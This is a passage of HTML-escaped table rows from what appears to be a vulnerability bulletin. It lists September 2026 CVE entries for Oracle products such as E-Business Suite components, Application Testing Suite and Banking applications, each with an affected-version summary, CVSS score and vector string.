&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87257&quot; target=&quot;_blank&quot;&gt;CVE-2026-87257&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Agile PLM&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Folders, Files &amp;amp; Attachments). The supported version that is affected is 9.3.6. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Agile PLM. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Agile PLM, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Agile PLM accessible data as well as unauthorized update, insert or delete access to some of Oracle Agile PLM accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87258&quot; target=&quot;_blank&quot;&gt;CVE-2026-87258&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Agile PLM MCAD Connector&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Agile PLM MCAD Connector product of Oracle Supply Chain (component: CAX Client). The supported version that is affected is 3.6. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Agile PLM MCAD Connector executes to compromise Oracle Agile PLM MCAD Connector. While the vulnerability is in Oracle Agile PLM MCAD Connector, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Agile PLM MCAD Connector accessible data as well as unauthorized read access to a subset of Oracle Agile PLM MCAD Connector accessible data. CVSS 3.1 Base Score 7.3 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83277&quot; target=&quot;_blank&quot;&gt;CVE-2026-83277&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Alert&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Alert product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Alert. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Alert accessible data as well as unauthorized access to critical data or complete access to all Oracle Alert accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83089&quot; target=&quot;_blank&quot;&gt;CVE-2026-83089&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Alert&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Alert product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Alert. Successful attacks of this vulnerability can result in takeover of Oracle Alert. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83120&quot; target=&quot;_blank&quot;&gt;CVE-2026-83120&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Application Object Library&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Attachments / File Upload). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Application Object Library. Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83163&quot; target=&quot;_blank&quot;&gt;CVE-2026-83163&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Application Object Library&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Application Object Library. While the vulnerability is in Oracle Application Object Library, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Application Object Library. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83178&quot; target=&quot;_blank&quot;&gt;CVE-2026-83178&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Application Object Library&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Application Object Library. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Application Object Library accessible data as well as unauthorized access to critical data or complete access to all Oracle Application Object Library accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83162&quot; target=&quot;_blank&quot;&gt;CVE-2026-83162&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Application Object Library&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Application Object Library. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Application Object Library accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83167&quot; target=&quot;_blank&quot;&gt;CVE-2026-83167&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Application Object Library&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Application Object Library. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Application Object Library accessible data as well as unauthorized access to critical data or complete access to all Oracle Application Object Library accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83184&quot; target=&quot;_blank&quot;&gt;CVE-2026-83184&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Application Testing Suite&lt;/td&gt;
&lt;td&gt;Vulnerability in Oracle Application Testing Suite. The supported version that is affected is 13.3.0.1. Easily exploitable vulnerability allows low privileged attacker having Test Manager for Web Apps privilege with network access via HTTP to compromise Oracle Application Testing Suite. While the vulnerability is in Oracle Application Testing Suite, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Application Testing Suite accessible data as well as unauthorized update, insert or delete access to some of Oracle Application Testing Suite accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Application Testing Suite. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83149&quot; target=&quot;_blank&quot;&gt;CVE-2026-83149&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Application Testing Suite&lt;/td&gt;
&lt;td&gt;Vulnerability in Oracle Application Testing Suite. The supported version that is affected is 13.3.0.1. Easily exploitable vulnerability allows low privileged attacker having Test Manager for Web Apps privilege with network access via HTTP to compromise Oracle Application Testing Suite. Successful attacks of this vulnerability can result in takeover of Oracle Application Testing Suite. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83148&quot; target=&quot;_blank&quot;&gt;CVE-2026-83148&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Application Testing Suite&lt;/td&gt;
&lt;td&gt;Vulnerability in Oracle Application Testing Suite. The supported version that is affected is 13.3.0.1. Difficult to exploit vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Application Testing Suite executes to compromise Oracle Application Testing Suite. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Application Testing Suite. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83150&quot; target=&quot;_blank&quot;&gt;CVE-2026-83150&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Applications Framework&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite (component: Personalization). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via SOAP to compromise Oracle Applications Framework. Successful attacks of this vulnerability can result in takeover of Oracle Applications Framework. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83327&quot; target=&quot;_blank&quot;&gt;CVE-2026-83327&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Applications Framework&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite (component: Search Bean [Incl. Advanced]). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Framework. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Applications Framework accessible data as well as unauthorized access to critical data or complete access to all Oracle Applications Framework accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83072&quot; target=&quot;_blank&quot;&gt;CVE-2026-83072&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Applications Framework&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite (component: Personalization). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Framework. Successful attacks of this vulnerability can result in takeover of Oracle Applications Framework. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83205&quot; target=&quot;_blank&quot;&gt;CVE-2026-83205&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Applications Framework&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite (component: Personalization). Supported versions that are affected are 12.2.9-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Framework. Successful attacks of this vulnerability can result in takeover of Oracle Applications Framework. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83329&quot; target=&quot;_blank&quot;&gt;CVE-2026-83329&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Applications Framework&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite (component: Personalization). Supported versions that are affected are 12.2.9-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Framework. Successful attacks of this vulnerability can result in takeover of Oracle Applications Framework. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83331&quot; target=&quot;_blank&quot;&gt;CVE-2026-83331&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Applications Framework&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite (component: Personalization). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Applications Framework. Successful attacks of this vulnerability can result in takeover of Oracle Applications Framework. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83328&quot; target=&quot;_blank&quot;&gt;CVE-2026-83328&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Applications Framework&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Applications Framework product of Oracle E-Business Suite (component: Personalization). Supported versions that are affected are 12.2.9-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Framework. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Applications Framework accessible data as well as unauthorized update, insert or delete access to some of Oracle Applications Framework accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83332&quot; target=&quot;_blank&quot;&gt;CVE-2026-83332&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Applications Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Command Line - RapidClone). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Applications Manager. While the vulnerability is in Oracle Applications Manager, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Applications Manager. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83157&quot; target=&quot;_blank&quot;&gt;CVE-2026-83157&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Applications Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Oracle Diagnostics Interfaces). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Applications Manager. Successful attacks of this vulnerability can result in takeover of Oracle Applications Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83168&quot; target=&quot;_blank&quot;&gt;CVE-2026-83168&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Applications Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Oracle Diagnostics Interfaces). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Applications Manager. Successful attacks of this vulnerability can result in takeover of Oracle Applications Manager. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83338&quot; target=&quot;_blank&quot;&gt;CVE-2026-83338&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Applications Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Command Line - RapidClone). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Applications Manager. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Applications Manager accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83115&quot; target=&quot;_blank&quot;&gt;CVE-2026-83115&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Applications Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Command Line - RapidClone). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Applications Manager executes to compromise Oracle Applications Manager. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Applications Manager accessible data as well as unauthorized access to critical data or complete access to all Oracle Applications Manager accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83158&quot; target=&quot;_blank&quot;&gt;CVE-2026-83158&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Applications Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Applications Manager product of Oracle E-Business Suite (component: Command Line - RapidClone). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Applications Manager. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Applications Manager accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83341&quot; target=&quot;_blank&quot;&gt;CVE-2026-83341&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Banking Branch&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Banking Branch product of Oracle Financial Services Applications (component: Reports). Supported versions that are affected are 14.5.0.0.0-14.9.0.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Banking Branch. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Banking Branch, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Banking Branch. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87164&quot; target=&quot;_blank&quot;&gt;CVE-2026-87164&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Banking Branch&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Banking Branch product of Oracle Financial Services Applications (component: Reports). Supported versions that are affected are 14.5.0.0.0-14.9.0.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Banking Branch. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Banking Branch. CVSS 3.1 Base Score 7.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83080&quot; target=&quot;_blank&quot;&gt;CVE-2026-83080&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Banking Corporate Lending&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Banking Corporate Lending product of Oracle Financial Services Applications (component: Core). Supported versions that are affected are 14.5.0.0.0-14.9.0.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Banking Corporate Lending executes to compromise Oracle Banking Corporate Lending. While the vulnerability is in Oracle Banking Corporate Lending, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Banking Corporate Lending accessible data as well as unauthorized access to critical data or complete access to all Oracle Banking Corporate Lending accessible data. CVSS 3.1 Base Score 8.0 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83081&quot; target=&quot;_blank&quot;&gt;CVE-2026-83081&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Banking Corporate Lending Process Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Banking Corporate Lending Process Management product of Oracle Financial Services Applications (component: Base). Supported versions that are affected are 14.5.0.0.0-14.9.0.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Banking Corporate Lending Process Management. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Banking Corporate Lending Process Management. CVSS 3.1 Base Score 7.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83206&quot; target=&quot;_blank&quot;&gt;CVE-2026-83206&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
